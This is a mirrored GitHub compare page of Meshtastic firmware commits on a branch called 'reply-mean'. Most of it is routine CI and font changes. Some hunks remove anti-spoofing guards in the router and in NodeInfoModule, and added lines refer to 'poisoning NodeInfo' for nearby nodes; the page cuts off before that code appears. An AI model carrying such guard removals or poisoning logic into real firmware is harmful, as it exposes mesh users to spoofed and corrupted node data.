mirror of
https://github.com/meshtastic/firmware.git
synced 2026-02-02 23:21:58 +00:00
Compare commits
6 Commits
v2.7.5.ddd
...
reply-mean
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e972a07c38 | ||
|
|
69f9e90560 | ||
|
|
ed4a30e526 | ||
|
|
b1c5f871b6 | ||
|
|
683fb206a6 | ||
|
|
573fb47b45 |
2
.github/actions/setup-base/action.yml
vendored
2
.github/actions/setup-base/action.yml
vendored
@@ -5,7 +5,7 @@ runs:
|
||||
using: composite
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
|
||||
2
.github/workflows/build_debian_src.yml
vendored
2
.github/workflows/build_debian_src.yml
vendored
@@ -24,7 +24,7 @@ jobs:
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
path: meshtasticd
|
||||
|
||||
2
.github/workflows/build_firmware.yml
vendored
2
.github/workflows/build_firmware.yml
vendored
@@ -20,7 +20,7 @@ jobs:
|
||||
name: build-${{ inputs.platform }}
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
|
||||
2
.github/workflows/docker_build.yml
vendored
2
.github/workflows/docker_build.yml
vendored
@@ -47,7 +47,7 @@ jobs:
|
||||
runs-on: ${{ inputs.runs-on }}
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
|
||||
2
.github/workflows/docker_manifest.yml
vendored
2
.github/workflows/docker_manifest.yml
vendored
@@ -83,7 +83,7 @@ jobs:
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
|
||||
2
.github/workflows/hook_copr.yml
vendored
2
.github/workflows/hook_copr.yml
vendored
@@ -19,7 +19,7 @@ jobs:
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
ref: ${{ github.ref }}
|
||||
|
||||
28
.github/workflows/main_matrix.yml
vendored
28
.github/workflows/main_matrix.yml
vendored
@@ -42,7 +42,7 @@ jobs:
|
||||
- check
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: 3.x
|
||||
@@ -72,7 +72,7 @@ jobs:
|
||||
version:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
- uses: actions/checkout@v4
|
||||
- name: Get release version string
|
||||
run: |
|
||||
echo "long=$(./bin/buildinfo.py long)" >> $GITHUB_OUTPUT
|
||||
@@ -93,7 +93,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: ${{ github.event_name != 'workflow_dispatch' }}
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
- uses: actions/checkout@v4
|
||||
- name: Build base
|
||||
id: base
|
||||
uses: ./.github/actions/setup-base
|
||||
@@ -288,12 +288,12 @@ jobs:
|
||||
]
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
repository: ${{github.event.pull_request.head.repo.full_name}}
|
||||
|
||||
- uses: actions/download-artifact@v5
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
path: ./
|
||||
pattern: firmware-${{matrix.arch}}-*
|
||||
@@ -322,7 +322,7 @@ jobs:
|
||||
./Meshtastic_nRF52_factory_erase*.uf2
|
||||
retention-days: 30
|
||||
|
||||
- uses: actions/download-artifact@v5
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: firmware-${{matrix.arch}}-${{ needs.version.outputs.long }}
|
||||
merge-multiple: true
|
||||
@@ -367,7 +367,7 @@ jobs:
|
||||
- package-pio-deps-native-tft
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v5
|
||||
@@ -386,14 +386,14 @@ jobs:
|
||||
Autogenerated by github action, developer should edit as required before publishing...
|
||||
|
||||
- name: Download source deb
|
||||
uses: actions/download-artifact@v5
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: firmware-debian-${{ needs.version.outputs.deb }}~UNRELEASED-src
|
||||
merge-multiple: true
|
||||
path: ./output/debian-src
|
||||
|
||||
- name: Download `native-tft` pio deps
|
||||
uses: actions/download-artifact@v5
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: platformio-deps-native-tft-${{ needs.version.outputs.long }}
|
||||
merge-multiple: true
|
||||
@@ -436,14 +436,14 @@ jobs:
|
||||
needs: [release-artifacts, version]
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: 3.x
|
||||
|
||||
- uses: actions/download-artifact@v5
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: firmware-${{matrix.arch}}-${{ needs.version.outputs.long }}
|
||||
merge-multiple: true
|
||||
@@ -460,7 +460,7 @@ jobs:
|
||||
- name: Zip firmware
|
||||
run: zip -j -9 -r ./firmware-${{matrix.arch}}-${{ needs.version.outputs.long }}.zip ./output
|
||||
|
||||
- uses: actions/download-artifact@v5
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: debug-elfs-${{matrix.arch}}-${{ needs.version.outputs.long }}.zip
|
||||
merge-multiple: true
|
||||
@@ -491,14 +491,14 @@ jobs:
|
||||
esp32,esp32s3,esp32c3,esp32c6,nrf52840,rp2040,rp2350,stm32
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: 3.x
|
||||
|
||||
- uses: actions/download-artifact@v5
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: firmware-{${{ env.targets }}}-${{ needs.version.outputs.long }}
|
||||
merge-multiple: true
|
||||
|
||||
4
.github/workflows/nightly.yml
vendored
4
.github/workflows/nightly.yml
vendored
@@ -14,7 +14,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Trunk Check
|
||||
uses: trunk-io/trunk-action@v1
|
||||
@@ -31,7 +31,7 @@ jobs:
|
||||
pull-requests: write # For trunk to create PRs
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Trunk Upgrade
|
||||
uses: trunk-io/trunk-action/upgrade@v1
|
||||
|
||||
4
.github/workflows/package_obs.yml
vendored
4
.github/workflows/package_obs.yml
vendored
@@ -34,7 +34,7 @@ jobs:
|
||||
needs: build-debian-src
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
path: meshtasticd
|
||||
@@ -58,7 +58,7 @@ jobs:
|
||||
id: version
|
||||
|
||||
- name: Download artifacts
|
||||
uses: actions/download-artifact@v5
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: firmware-debian-${{ steps.version.outputs.deb }}~${{ inputs.series }}-src
|
||||
merge-multiple: true
|
||||
|
||||
2
.github/workflows/package_pio_deps.yml
vendored
2
.github/workflows/package_pio_deps.yml
vendored
@@ -24,7 +24,7 @@ jobs:
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
|
||||
4
.github/workflows/package_ppa.yml
vendored
4
.github/workflows/package_ppa.yml
vendored
@@ -32,7 +32,7 @@ jobs:
|
||||
needs: build-debian-src
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
path: meshtasticd
|
||||
@@ -60,7 +60,7 @@ jobs:
|
||||
id: version
|
||||
|
||||
- name: Download artifacts
|
||||
uses: actions/download-artifact@v5
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: firmware-debian-${{ steps.version.outputs.deb }}~${{ inputs.series }}-src
|
||||
merge-multiple: true
|
||||
|
||||
2
.github/workflows/release_channels.yml
vendored
2
.github/workflows/release_channels.yml
vendored
@@ -60,7 +60,7 @@ jobs:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v5
|
||||
|
||||
2
.github/workflows/sec_sast_semgrep_cron.yml
vendored
2
.github/workflows/sec_sast_semgrep_cron.yml
vendored
@@ -21,7 +21,7 @@ jobs:
|
||||
steps:
|
||||
# step 1
|
||||
- name: clone application source code
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# step 2
|
||||
- name: full scan
|
||||
|
||||
2
.github/workflows/sec_sast_semgrep_pull.yml
vendored
2
.github/workflows/sec_sast_semgrep_pull.yml
vendored
@@ -13,7 +13,7 @@ jobs:
|
||||
steps:
|
||||
# step 1
|
||||
- name: clone application source code
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
|
||||
10
.github/workflows/test_native.yml
vendored
10
.github/workflows/test_native.yml
vendored
@@ -14,7 +14,7 @@ jobs:
|
||||
name: Native Simulator Tests
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
repository: ${{github.event.pull_request.head.repo.full_name}}
|
||||
@@ -70,7 +70,7 @@ jobs:
|
||||
name: Native PlatformIO Tests
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
repository: ${{github.event.pull_request.head.repo.full_name}}
|
||||
@@ -127,7 +127,7 @@ jobs:
|
||||
- platformio-tests
|
||||
if: always()
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
repository: ${{github.event.pull_request.head.repo.full_name}}
|
||||
@@ -137,7 +137,7 @@ jobs:
|
||||
id: version
|
||||
|
||||
- name: Download test artifacts
|
||||
uses: actions/download-artifact@v5
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: platformio-test-report-${{ steps.version.outputs.long }}.zip
|
||||
merge-multiple: true
|
||||
@@ -150,7 +150,7 @@ jobs:
|
||||
reporter: java-junit
|
||||
|
||||
- name: Download coverage artifacts
|
||||
uses: actions/download-artifact@v5
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: lcov-coverage-info-native-*-${{ steps.version.outputs.long }}.zip
|
||||
path: code-coverage-report
|
||||
|
||||
2
.github/workflows/tests.yml
vendored
2
.github/workflows/tests.yml
vendored
@@ -20,7 +20,7 @@ jobs:
|
||||
runs-on: test-runner
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# - uses: actions/setup-python@v5
|
||||
# with:
|
||||
|
||||
2
.github/workflows/trunk_annotate_pr.yml
vendored
2
.github/workflows/trunk_annotate_pr.yml
vendored
@@ -18,7 +18,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Trunk Check
|
||||
uses: trunk-io/trunk-action@v1
|
||||
|
||||
2
.github/workflows/trunk_check.yml
vendored
2
.github/workflows/trunk_check.yml
vendored
@@ -16,7 +16,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Trunk Check
|
||||
uses: trunk-io/trunk-action@v1
|
||||
|
||||
2
.github/workflows/trunk_format_pr.yml
vendored
2
.github/workflows/trunk_format_pr.yml
vendored
@@ -15,7 +15,7 @@ jobs:
|
||||
pull-requests: write
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
repository: ${{github.event.pull_request.head.repo.full_name}}
|
||||
|
||||
2
.github/workflows/update_protobufs.yml
vendored
2
.github/workflows/update_protobufs.yml
vendored
@@ -11,7 +11,7 @@ jobs:
|
||||
pull-requests: write
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v5
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: true
|
||||
|
||||
|
||||
@@ -40,9 +40,6 @@
|
||||
#ifdef OLED_PL
|
||||
#define FONT_MEDIUM_LOCAL ArialMT_Plain_16_PL // Height: 19
|
||||
#else
|
||||
#ifdef OLED_RU
|
||||
#define FONT_MEDIUM_LOCAL ArialMT_Plain_16_RU // Height: 19
|
||||
#else
|
||||
#ifdef OLED_UA
|
||||
#define FONT_MEDIUM_LOCAL ArialMT_Plain_16_UA // Height: 19
|
||||
#else
|
||||
@@ -53,13 +50,9 @@
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#ifdef OLED_PL
|
||||
#define FONT_LARGE_LOCAL ArialMT_Plain_24_PL // Height: 28
|
||||
#else
|
||||
#ifdef OLED_RU
|
||||
#define FONT_LARGE_LOCAL ArialMT_Plain_24_RU // Height: 28
|
||||
#else
|
||||
#ifdef OLED_UA
|
||||
#define FONT_LARGE_LOCAL ArialMT_Plain_24_UA // Height: 28
|
||||
#else
|
||||
@@ -70,7 +63,6 @@
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#if (defined(USE_EINK) || defined(ILI9341_DRIVER) || defined(ILI9342_DRIVER) || defined(ST7701_CS) || defined(ST7735_CS) || \
|
||||
defined(ST7789_CS) || defined(USE_ST7789) || defined(HX8357_CS) || defined(ILI9488_CS)) && \
|
||||
|
||||
@@ -137,11 +137,7 @@ void drawStringWithEmotes(OLEDDisplay *display, int x, int y, const std::string
|
||||
display->drawString(cursorX + 1, fontY, textChunk.c_str());
|
||||
}
|
||||
display->drawString(cursorX, fontY, textChunk.c_str());
|
||||
#if defined(OLED_UA) || defined(OLED_RU)
|
||||
cursorX += display->getStringWidth(textChunk.c_str(), textChunk.length(), true);
|
||||
#else
|
||||
cursorX += display->getStringWidth(textChunk.c_str());
|
||||
#endif
|
||||
i = nextControl;
|
||||
continue;
|
||||
}
|
||||
@@ -159,12 +155,7 @@ void drawStringWithEmotes(OLEDDisplay *display, int x, int y, const std::string
|
||||
display->drawString(cursorX + 1, fontY, remaining.c_str());
|
||||
}
|
||||
display->drawString(cursorX, fontY, remaining.c_str());
|
||||
#if defined(OLED_UA) || defined(OLED_RU)
|
||||
cursorX += display->getStringWidth(remaining.c_str(), remaining.length(), true);
|
||||
#else
|
||||
cursorX += display->getStringWidth(remaining.c_str());
|
||||
#endif
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -383,16 +374,10 @@ std::vector<std::string> generateLines(OLEDDisplay *display, const char *headerS
|
||||
} else {
|
||||
word += ch;
|
||||
std::string test = line + word;
|
||||
// Keep these lines for diagnostics
|
||||
// LOG_INFO("Char: '%c' (0x%02X)", ch, (unsigned char)ch);
|
||||
// LOG_INFO("Current String: %s", test.c_str());
|
||||
// Note: there are boolean comparison uint16 (getStringWidth) with int (textWidth), hope textWidth is always positive :)
|
||||
#if defined(OLED_UA) || defined(OLED_RU)
|
||||
uint16_t strWidth = display->getStringWidth(test.c_str(), test.length(), true);
|
||||
#else
|
||||
uint16_t strWidth = display->getStringWidth(test.c_str());
|
||||
#endif
|
||||
if (strWidth > textWidth) {
|
||||
// Keep these lines for diagnostics
|
||||
// LOG_INFO("Char: '%c' (0x%02X)", ch, (unsigned char)ch);
|
||||
// LOG_INFO("Current String: %s", test.c_str());
|
||||
if (display->getStringWidth(test.c_str()) > textWidth) {
|
||||
if (!line.empty())
|
||||
lines.push_back(line);
|
||||
line = word;
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -8,6 +8,4 @@
|
||||
#endif
|
||||
|
||||
extern const uint8_t ArialMT_Plain_10_RU[] PROGMEM;
|
||||
extern const uint8_t ArialMT_Plain_16_RU[] PROGMEM;
|
||||
extern const uint8_t ArialMT_Plain_24_RU[] PROGMEM;
|
||||
#endif
|
||||
@@ -47,10 +47,8 @@ void FloodingRouter::perhapsCancelDupe(const meshtastic_MeshPacket *p)
|
||||
{
|
||||
if (config.device.role != meshtastic_Config_DeviceConfig_Role_ROUTER &&
|
||||
config.device.role != meshtastic_Config_DeviceConfig_Role_REPEATER &&
|
||||
config.device.role != meshtastic_Config_DeviceConfig_Role_ROUTER_LATE &&
|
||||
p->transport_mechanism == meshtastic_MeshPacket_TransportMechanism_TRANSPORT_LORA) {
|
||||
config.device.role != meshtastic_Config_DeviceConfig_Role_ROUTER_LATE) {
|
||||
// cancel rebroadcast of this message *if* there was already one, unless we're a router/repeater!
|
||||
// But only LoRa packets should be able to trigger this.
|
||||
if (Router::cancelSending(p->from, p->id))
|
||||
txRelayCanceled++;
|
||||
}
|
||||
|
||||
@@ -85,11 +85,8 @@ meshtastic_MeshPacket *MeshModule::allocErrorResponse(meshtastic_Routing_Error e
|
||||
return r;
|
||||
}
|
||||
|
||||
void MeshModule::callModules(meshtastic_MeshPacket &mp, RxSource src, const char *specificModule)
|
||||
void MeshModule::callModules(meshtastic_MeshPacket &mp, RxSource src)
|
||||
{
|
||||
if (specificModule) {
|
||||
LOG_DEBUG("Calling specific module: %s", specificModule);
|
||||
}
|
||||
// LOG_DEBUG("In call modules");
|
||||
bool moduleFound = false;
|
||||
|
||||
@@ -107,11 +104,6 @@ void MeshModule::callModules(meshtastic_MeshPacket &mp, RxSource src, const char
|
||||
for (auto i = modules->begin(); i != modules->end(); ++i) {
|
||||
auto &pi = **i;
|
||||
|
||||
// If specificModule is provided, only call that specific module
|
||||
if (specificModule && (!pi.name || strcmp(pi.name, specificModule) != 0)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
pi.currentRequest = ∓
|
||||
|
||||
/// We only call modules that are interested in the packet (and the message is destined to us or we are promiscious)
|
||||
|
||||
@@ -73,7 +73,7 @@ class MeshModule
|
||||
|
||||
/** For use only by MeshService
|
||||
*/
|
||||
static void callModules(meshtastic_MeshPacket &mp, RxSource src = RX_SRC_RADIO, const char *specificModule = nullptr);
|
||||
static void callModules(meshtastic_MeshPacket &mp, RxSource src = RX_SRC_RADIO);
|
||||
|
||||
static std::vector<MeshModule *> GetMeshModulesWithUIFrames(int startIndex);
|
||||
static void observeUIEvents(Observer<const UIFrameEvent *> *observer);
|
||||
|
||||
@@ -985,8 +985,9 @@ void NodeDB::resetNodes()
|
||||
|
||||
void NodeDB::removeNodeByNum(NodeNum nodeNum)
|
||||
{
|
||||
int newPos = 0, removed = 0;
|
||||
for (int i = 0; i < numMeshNodes; i++) {
|
||||
// Don't remove the own node at position 0
|
||||
int newPos = 1, removed = 0;
|
||||
for (int i = 1; i < numMeshNodes; i++) {
|
||||
if (meshNodes->at(i).num != nodeNum)
|
||||
meshNodes->at(newPos++) = meshNodes->at(i);
|
||||
else
|
||||
@@ -1082,18 +1083,16 @@ void NodeDB::pickNewNodeNum()
|
||||
}
|
||||
|
||||
meshtastic_NodeInfoLite *found;
|
||||
while (((found = getMeshNode(nodeNum)) && memcmp(found->user.macaddr, ourMacAddr, sizeof(ourMacAddr)) != 0) ||
|
||||
(nodeNum == NODENUM_BROADCAST || nodeNum < NUM_RESERVED)) {
|
||||
NodeNum candidate = random(NUM_RESERVED, LONG_MAX); // try a new random choice
|
||||
if (found)
|
||||
LOG_WARN("NOTE! Our desired nodenum 0x%x is invalid or in use, by MAC ending in 0x%02x%02x vs our 0x%02x%02x, so "
|
||||
"trying for 0x%x",
|
||||
nodeNum, found->user.macaddr[4], found->user.macaddr[5], ourMacAddr[4], ourMacAddr[5], candidate);
|
||||
nodeNum = candidate;
|
||||
if (((found = getMeshNode(nodeNum)) && memcmp(found->user.macaddr, ourMacAddr, sizeof(ourMacAddr)) != 0) ||
|
||||
(nodeNum == NODENUM_BROADCAST || nodeNum < NUM_RESERVED)) {
|
||||
NodeNum newNodeNum = (ourMacAddr[2] << 24) | (ourMacAddr[3] << 16) | (ourMacAddr[4] << 8) | ourMacAddr[5];
|
||||
LOG_WARN("NOTE! Our saved nodenum 0x%x is invalid or in use. Using 0x%x", nodeNum, newNodeNum);
|
||||
nodeNum = newNodeNum;
|
||||
}
|
||||
LOG_DEBUG("Use nodenum 0x%x ", nodeNum);
|
||||
|
||||
myNodeInfo.my_node_num = nodeNum;
|
||||
removeNodeByNum(nodeNum); // Since we skip 0, this should only ever remove outside matches.
|
||||
}
|
||||
|
||||
/** Load a protobuf from a file, return LoadFileResult */
|
||||
@@ -1689,10 +1688,10 @@ bool NodeDB::updateUser(uint32_t nodeId, meshtastic_User &p, uint8_t channelInde
|
||||
/// we updateGUI and updateGUIforNode if we think our this change is big enough for a redraw
|
||||
void NodeDB::updateFrom(const meshtastic_MeshPacket &mp)
|
||||
{
|
||||
// if (mp.from == getNodeNum()) {
|
||||
// LOG_DEBUG("Ignore update from self");
|
||||
// return;
|
||||
// }
|
||||
if (mp.transport_mechanism != meshtastic_MeshPacket_TransportMechanism_TRANSPORT_API && mp.from == getNodeNum()) {
|
||||
LOG_DEBUG("Ignore update from self");
|
||||
return;
|
||||
}
|
||||
if (mp.which_payload_variant == meshtastic_MeshPacket_decoded_tag && mp.from) {
|
||||
LOG_DEBUG("Update DB node 0x%x, rx_time=%u", mp.from, mp.rx_time);
|
||||
|
||||
@@ -1867,7 +1866,7 @@ bool NodeDB::checkLowEntropyPublicKey(const meshtastic_Config_SecurityConfig_pub
|
||||
uint8_t keyHash[32] = {0};
|
||||
memcpy(keyHash, keyToTest.bytes, keyToTest.size);
|
||||
crypto->hash(keyHash, 32);
|
||||
for (uint16_t i = 0; i < sizeof(LOW_ENTROPY_HASHES) / sizeof(LOW_ENTROPY_HASHES[0]); i++) {
|
||||
for (int i = 0; i < sizeof(LOW_ENTROPY_HASHES) / sizeof(LOW_ENTROPY_HASHES[0]); i++) {
|
||||
if (memcmp(keyHash, LOW_ENTROPY_HASHES[i], sizeof(LOW_ENTROPY_HASHES[0])) == 0) {
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -170,10 +170,11 @@ const RegionInfo regions[] = {
|
||||
*/
|
||||
RDEF(KZ_433, 433.075f, 434.775f, 100, 0, 10, true, false, false), RDEF(KZ_863, 863.0f, 868.0f, 100, 0, 30, true, false, true),
|
||||
|
||||
|
||||
/*
|
||||
Nepal
|
||||
865 MHz to 868 MHz frequency band for IoT (Internet of Things), M2M (Machine-to-Machine), and smart metering use,
|
||||
specifically in non-cellular mode. https://www.nta.gov.np/uploads/contents/Radio-Frequency-Policy-2080-English.pdf
|
||||
865 MHz to 868 MHz frequency band for IoT (Internet of Things), M2M (Machine-to-Machine), and smart metering use, specifically in non-cellular mode.
|
||||
https://www.nta.gov.np/uploads/contents/Radio-Frequency-Policy-2080-English.pdf
|
||||
*/
|
||||
RDEF(NP_865, 865.0f, 868.0f, 100, 0, 30, true, false, false),
|
||||
|
||||
@@ -335,9 +336,8 @@ uint32_t RadioInterface::getTxDelayMsecWeighted(float snr)
|
||||
void printPacket(const char *prefix, const meshtastic_MeshPacket *p)
|
||||
{
|
||||
#if defined(DEBUG_PORT) && !defined(DEBUG_MUTE)
|
||||
std::string out =
|
||||
DEBUG_PORT.mt_sprintf("%s (id=0x%08x fr=0x%08x to=0x%08x, transport = %u, WantAck=%d, HopLim=%d Ch=0x%x", prefix, p->id,
|
||||
p->from, p->to, p->transport_mechanism, p->want_ack, p->hop_limit, p->channel);
|
||||
std::string out = DEBUG_PORT.mt_sprintf("%s (id=0x%08x fr=0x%08x to=0x%08x, WantAck=%d, HopLim=%d Ch=0x%x", prefix, p->id,
|
||||
p->from, p->to, p->want_ack, p->hop_limit, p->channel);
|
||||
if (p->which_payload_variant == meshtastic_MeshPacket_decoded_tag) {
|
||||
auto &s = p->decoded;
|
||||
|
||||
|
||||
@@ -66,7 +66,6 @@ int32_t Router::runOnce()
|
||||
{
|
||||
meshtastic_MeshPacket *mp;
|
||||
while ((mp = fromRadioQueue.dequeuePtr(0)) != NULL) {
|
||||
mp->transport_mechanism = meshtastic_MeshPacket_TransportMechanism_TRANSPORT_LORA;
|
||||
// printPacket("handle fromRadioQ", mp);
|
||||
perhapsHandleReceived(mp);
|
||||
}
|
||||
@@ -653,8 +652,7 @@ void Router::handleReceived(meshtastic_MeshPacket *p, RxSource src)
|
||||
}
|
||||
|
||||
// call modules here
|
||||
// If this could be a spoofed packet, don't let the modules see it.
|
||||
if (!skipHandle && p->from != nodeDB->getNodeNum()) {
|
||||
if (!skipHandle) {
|
||||
MeshModule::callModules(*p, src);
|
||||
|
||||
#if !MESHTASTIC_EXCLUDE_MQTT
|
||||
@@ -668,8 +666,6 @@ void Router::handleReceived(meshtastic_MeshPacket *p, RxSource src)
|
||||
!isFromUs(p) && mqtt)
|
||||
mqtt->onSend(*p_encrypted, *p, p->channel);
|
||||
#endif
|
||||
} else if (p->from == nodeDB->getNodeNum() && !skipHandle) {
|
||||
MeshModule::callModules(*p, src, ROUTING_MODULE);
|
||||
}
|
||||
|
||||
packetPool.release(p_encrypted); // Release the encrypted packet
|
||||
|
||||
@@ -59,7 +59,6 @@ bool PacketAPI::receivePacket(void)
|
||||
switch (mr->which_payload_variant) {
|
||||
case meshtastic_ToRadio_packet_tag: {
|
||||
meshtastic_MeshPacket *mp = &mr->packet;
|
||||
mp->transport_mechanism = meshtastic_MeshPacket_TransportMechanism_TRANSPORT_API;
|
||||
printPacket("PACKET FROM QUEUE", mp);
|
||||
service->handleToRadio(*mp);
|
||||
break;
|
||||
|
||||
@@ -50,7 +50,6 @@ class UdpMulticastHandler final
|
||||
LOG_DEBUG("UDP broadcast from: %s, len=%u", packet.remoteIP().toString().c_str(), packetLength);
|
||||
#endif
|
||||
meshtastic_MeshPacket mp;
|
||||
mp.transport_mechanism = meshtastic_MeshPacket_TransportMechanism_TRANSPORT_MULTICAST_UDP;
|
||||
LOG_DEBUG("Decoding MeshPacket from UDP len=%u", packetLength);
|
||||
bool isPacketDecoded = pb_decode_from_bytes(packet.data(), packetLength, &meshtastic_MeshPacket_msg, &mp);
|
||||
if (isPacketDecoded && router && mp.which_payload_variant == meshtastic_MeshPacket_encrypted_tag) {
|
||||
@@ -79,9 +78,6 @@ class UdpMulticastHandler final
|
||||
return false;
|
||||
}
|
||||
#endif
|
||||
if (mp->transport_mechanism == meshtastic_MeshPacket_TransportMechanism_TRANSPORT_MULTICAST_UDP) {
|
||||
LOG_ERROR("Attempt to send UDP sourced packet over UDP");
|
||||
}
|
||||
LOG_DEBUG("Broadcasting packet over UDP (id=%u)", mp->id);
|
||||
uint8_t buffer[meshtastic_MeshPacket_size];
|
||||
size_t encodedLength = pb_encode_to_bytes(buffer, sizeof(buffer), &meshtastic_MeshPacket_msg, mp);
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
#include "configuration.h"
|
||||
#include "main.h"
|
||||
#include <Throttle.h>
|
||||
#include <pb_encode.h>
|
||||
|
||||
NodeInfoModule *nodeInfoModule;
|
||||
|
||||
@@ -14,15 +15,48 @@ bool NodeInfoModule::handleReceivedProtobuf(const meshtastic_MeshPacket &mp, mes
|
||||
{
|
||||
auto p = *pptr;
|
||||
|
||||
if (mp.from == nodeDB->getNodeNum()) {
|
||||
LOG_WARN("Ignoring packet supposed to be from our own node: %08x", mp.from);
|
||||
return false;
|
||||
}
|
||||
if (p.is_licensed != owner.is_licensed) {
|
||||
LOG_WARN("Invalid nodeInfo detected, is_licensed mismatch!");
|
||||
return true;
|
||||
}
|
||||
|
||||
// Only send response if SNR is excellent (very close) and it's a direct neighbor
|
||||
if (mp.rx_snr < 5) {
|
||||
LOG_DEBUG("Skip poisoning NodeInfo, SNR too low: %.2f", mp.rx_snr);
|
||||
